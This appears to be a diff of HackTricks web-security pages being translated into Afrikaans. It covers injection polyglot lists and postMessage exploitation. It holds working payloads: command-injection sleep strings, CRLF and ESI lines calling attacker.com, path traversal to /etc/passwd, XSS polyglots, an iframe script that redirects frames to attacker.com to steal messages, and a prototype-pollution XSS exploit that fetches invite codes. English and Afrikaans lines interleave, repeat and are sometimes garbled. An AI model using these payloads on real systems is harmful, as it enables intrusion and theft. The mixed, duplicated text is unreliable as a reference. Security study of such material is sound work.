> You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.
## Polygloths list
> Jy **sal nie Content-Type afhanklike inspuitings soos XXE vind nie**, aangesien jy gewoonlik self probeer as jy 'n versoek vind wat xml-data stuur. Jy **sal ook nie databasisinspuitings** hier vind nie, aangesien dit, selfs al kan sommige inhoud weerspieël word, sterk afhanklik is van die agtergrond DB-tegnologie en -struktuur.
## Polygloths lys
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -51,26 +50,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [Client Side Template Injection](../client-side-template-injection-csti.md)
### Basic Tests
### Basiese Toetse
```
{{7*7}}
[7*7]
```
### Polygloths
```bash
{{7*7}}[7*7]
```
## [Command Injection](../command-injection.md)
### Basic Tests
### Basiese Toetse
```bash
;ls
||ls;
@ -81,37 +74,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
### Polygloths
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)
### Basic Tests
### Basiese Toetse
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Hangende Merk
## Dangling Markup
### Basic Tests
### Basiese Toetse
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Lêer Insluiting/Pad Traversering](../file-inclusion/)
## [File Inclusion/Path Traversal](../file-inclusion/)
### Basic Tests
### Basiese Toetse
```bash
/etc/passwd
../../../../../../etc/hosts
@ -124,11 +109,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
### Basic Tests
### Basiese Toetse
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -136,42 +119,34 @@ https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
### Basic Tests
### Basiese Toetse
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Basic Tests
### Basiese Toetse
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
The same tests used for Open Redirect can be used here.
Die dieselfde toetse wat vir Open Redirect gebruik word, kan hier gebruik word.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Basic Tests
### Basiese Toetse
```markup
${{<%[%'"}}%\
{{7*7}}
@ -180,40 +155,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Polygloths
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Basic Tests
### Basiese Toetse
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Basic Tests
### Basiese Toetse
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -241,6 +206,4 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Web Vulns List
# Web Vulns Lys
{{#include ../../banners/hacktricks-training.md}}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -41,6 +40,4 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# PostMessage Vulnerabilities
# PostMessage Kw vulnerabilities
## PostMessage Vulnerabilities
## PostMessage Kw vulnerabilities
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
**PostMessage** uses the following function to send a message:
## Stuur **PostMessage**
**PostMessage** gebruik die volgende funksie om 'n boodskap te stuur:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
@ -33,208 +32,196 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Let wel dat **targetOrigin** 'n '\*' of 'n URL soos _https://company.com._ kan wees.\
In die **tweede scenario** kan die **boodskap slegs na daardie domein gestuur word** (selfs al is die oorsprong van die venster objek anders).\
As die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word**, en sal dit na die oorsprong van die Window objek gestuur word.
Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
### Attacking iframe & wildcard in **targetOrigin**
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.
### Aanval op iframe & wildcard in **targetOrigin**
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
Let wel dat as die bladsy iframed kan word, maar die **targetOrigin** **op 'n URL en nie op 'n wildcard** gestel is, hierdie **truuk sal nie werk**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## addEventListener uitbuiting
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:
**`addEventListener`** is die funksie wat deur JS gebruik word om die funksie te verklaar wat **`postMessages`** **verwag**.\
'n Kode soortgelyk aan die volgende een sal gebruik word:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
// ...
},
false
)
```
Let wel in hierdie geval hoe die **eerste ding** wat die kode doen is **om die oorsprong te kontroleer**. Dit is vreeslik **belangrik** veral as die bladsy **enigiets sensitiefs** met die ontvangde inligting gaan doen (soos om 'n wagwoord te verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om arbitrêre data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
### Enumerasie
### Enumeration
Om **gebeurtenisluisteraars** in die huidige bladsy te **vind**, kan jy:
In order to **find event listeners** in the current page you can:
- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
- **Execute** in the developer tools console: `getEventListeners(window)`
- **Soek** die JS-kode vir `window.addEventListener` en `$(window).on` (_JQuery weergawe_)
- **Voer** in die ontwikkelaarstoele console uit: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
- **Gaan na** _Elements --> Event Listeners_ in die ontwikkelaarstoele van die blaaier
![](<../../images/image (396).png>)
- Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
- Gebruik 'n **blaaier uitbreiding** soos [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) of [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hierdie blaaier uitbreidings sal **alle boodskappe onderskep** en dit aan jou wys.
### Origin check bypasses
### Oorsprong kontroleer omseilings
- **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
- The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
- **`event.isTrusted`** attribuut word as veilig beskou aangesien dit `True` slegs teruggee vir gebeurtenisse wat deur werklike gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is die belangrikheid daarvan in sekuriteitskontroles noemenswaardig.
- Die gebruik van **`indexOf()`** vir oorsprong validasie in PostMessage gebeurtenisse mag vatbaar wees vir omseilings. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
- Die **`search()`** metode van `String.prototype.search()` is bedoel vir gereelde uitdrukkings, nie stringe nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseilings van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
- The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
- Die **`match()`** funksie, soortgelyk aan `search()`, verwerk regex. As die regex verkeerd gestruktureer is, mag dit vatbaar wees vir omseilings.
- Die **`escapeHtml`** funksie is bedoel om insette te saniteer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral, as 'n objek gemanipuleer kan word sodat sy beheerde eienskap nie `hasOwnProperty` erken nie, sal die `escapeHtml` nie soos verwag werk nie. Dit word in die voorbeelde hieronder gedemonstreer:
- Expected Failure:
- Verwachte Faal:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassing the escape:
- Omseiling van die ontsnapping:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat tot potensiële sekuriteitsrisiko's lei.
- The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
- Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
### e.origin == window.origin bypass
### e.origin == window.origin omseiling
When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
Wanneer 'n webblad binne 'n **sandboxed iframe** met %%%%%% ingebed word, is dit belangrik om te verstaan dat die iframe se oorsprong op null gestel sal word. Dit is veral belangrik wanneer daar met **sandbox eienskappe** en hul implikasies op sekuriteit en funksionaliteit gewerk word.
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
Deur **`allow-popups`** in die sandbox eienskap te spesifiseer, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sender en ontvanger se oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
For more information **read**:
Vir meer inligting **lees**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypassing e.source
It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
### Omseiling van e.source
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster afkomstig is waar die skrip na luister (spesiaal interessant vir **Inhoud Skripte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
return
}
```
U kan **`e.source`** van 'n boodskap dwing om null te wees deur 'n **iframe** te skep wat die **postMessage** **stuur** en **onmiddellik verwyder** word.
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
For more information **read:**
Vir meer inligting **lees:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
### X-Frame-Header omseiling
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en daarmee kommunikeer:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Dief van boodskap wat na kind gestuur is deur die hoofblad te blokkeer
### Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
In die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat na 'n **kind iframe** gestuur is, kan steel deur die **hoof** bladsy te **blokkeer** voordat die data gestuur word en 'n **XSS in die kind** te **misbruik** om die data te **lek** voordat dit ontvang word:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Stealing message by modifying iframe location
### Dief van boodskap deur iframe ligging te verander
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy die **ligging van daardie kind iframe** **verander**, so as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe **oorsprong** na 'n bladsy **onder sy beheer** **verander** en die boodskap **steel**:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage to Prototype Pollution and/or XSS
### postMessage na Prototype Pollution en/of XSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
In scenario's waar die data wat deur `postMessage` gestuur word, deur JS uitgevoer word, kan jy die **bladsy** **iframe** en die **prototype pollution/XSS** **misbruik** deur die eksploiet via `postMessage` te stuur.
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
'n Paar **baie goed verduidelikde XSS deur `postMessage`** kan gevind word in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Voorbeeld van 'n eksploiet om **Prototype Pollution en dan XSS** deur 'n `postMessage` na 'n `iframe` te misbruik:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Vir **meer inligting**:
For **more information**:
- Skakel na bladsy oor [**prototype besoedeling**](../deserialization/nodejs-proto-prototype-pollution/)
- Skakel na bladsy oor [**XSS**](../xss-cross-site-scripting/)
- Skakel na bladsy oor [**klantkant prototype besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
- Link to page about [**XSS**](../xss-cross-site-scripting/)
- Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## References
## Verwysings
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
- Om te oefen: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,30 @@
# Blocking main page to steal postmessage
# Blokkeer hoofblad om postmessage te steel
{{#include ../../banners/hacktricks-training.md}}
## Winning RCs with Iframes
## Wen RC's met Iframes
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
Volgens hierdie [**Terjanq skrywe**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) is blob-dokumente wat van nul oorspronge geskep is, geïsoleer vir sekuriteitsvoordele, wat beteken dat as jy die hoofblad besig hou, die iframe-blad uitgevoer gaan word.
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
Basies in daardie uitdaging word 'n **geïsoleerde iframe uitgevoer** en reg **na** dit **gelaai** is, gaan die **ouer** blad 'n **post** boodskap met die **vlag** **stuur**.\
Egter, daardie postmessage kommunikasie is **kwulnerabel vir XSS** (die **iframe** kan JS-kode uitvoer).
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
Daarom is die doel van die aanvaller om die **ouer te laat die iframe skep**, maar **voor** die **ouer** blad **die** sensitiewe data (**vlag**) **stuur**, **hou dit besig** en stuur die **payload na die iframe**. Terwyl die **ouer besig is**, voer die **iframe die payload** uit wat 'n paar JS sal wees wat sal luister vir die **ouer postmessage boodskap en die vlag sal lek**.\
Uiteindelik het die iframe die payload uitgevoer en die ouerblad stop om besig te wees, so dit stuur die vlag en die payload lek dit.
Maar hoe kan jy die ouer laat **besig wees reg nadat dit die iframe gegenereer het en net terwyl dit wag vir die iframe om gereed te wees om die sensitiewe data te stuur?** Basies, jy moet 'n **async** **aksie** vind wat jy die ouer kan laat **uitvoer**. Byvoorbeeld, in daardie uitdaging was die ouer **aan die luister** na **postmessages** soos volg:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
})
```
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
so dit was moontlik om 'n **groot heelgetal in 'n postmessage** te stuur wat in daardie vergelyking **na 'n string omskakel** sal word, wat 'n bietjie tyd sal neem:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
En om presies te wees en daardie **postmessage** net **na** die **iframe** geskep is, maar **voor** dit **gereed** is om die data van die ouer te ontvang, sal jy moet **speel met die millisekondes van 'n `setTimeout`**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,74 +4,69 @@
## Iframes in SOP-1
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
In hierdie [**uitdaging**](https://github.com/terjanq/same-origin-xss) geskep deur [**NDevTK**](https://github.com/NDevTK) en [**Terjanq**](https://github.com/terjanq) moet jy 'n XSS in die kode benut.
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
```
Die hoofprobleem is dat die [**hoofblad**](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, so om jou eie html data na daardie kode te stuur, moet jy **bypass** `e.origin !== window.origin`.
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
Let's see the solution they propose.
Kom ons kyk na die oplossing wat hulle voorstel.
### SOP bypass 1 (e.origin === null)
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
Wanneer `//example.org` in 'n **sandboxed iframe** ingebed is, sal die bladsy se **origin** **`null`** wees, d.w.s. **`window.origin === null`**. So net deur die iframe in te bed via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons die **`null` origin** **force**.
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
As die bladsy **ingebed kan word**, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op `SameSite=None` gestel word).
### SOP bypass 2 (window.origin === null)
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
Die minder bekende feit is dat wanneer die **sandbox waarde `allow-popups` gestel is**, die **geopende popup** al die **sandboxed attributes** sal **erf** tensy `allow-popups-to-escape-sandbox` gestel is.\
So, om 'n **popup** van 'n **null origin** te open, sal **`window.origin`** binne die popup ook **`null`** wees.
### Challenge Solution
### Uitdaging Oplossing
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
Daarom, vir hierdie uitdaging, kan 'n mens 'n **iframe** **skep**, 'n **popup** na die bladsy met die kwesbare XSS kodehandler (`/iframe.php`) **open**, aangesien `window.origin === e.origin` omdat albei `null` is, is dit moontlik om 'n **payload te stuur wat die XSS sal benut**.
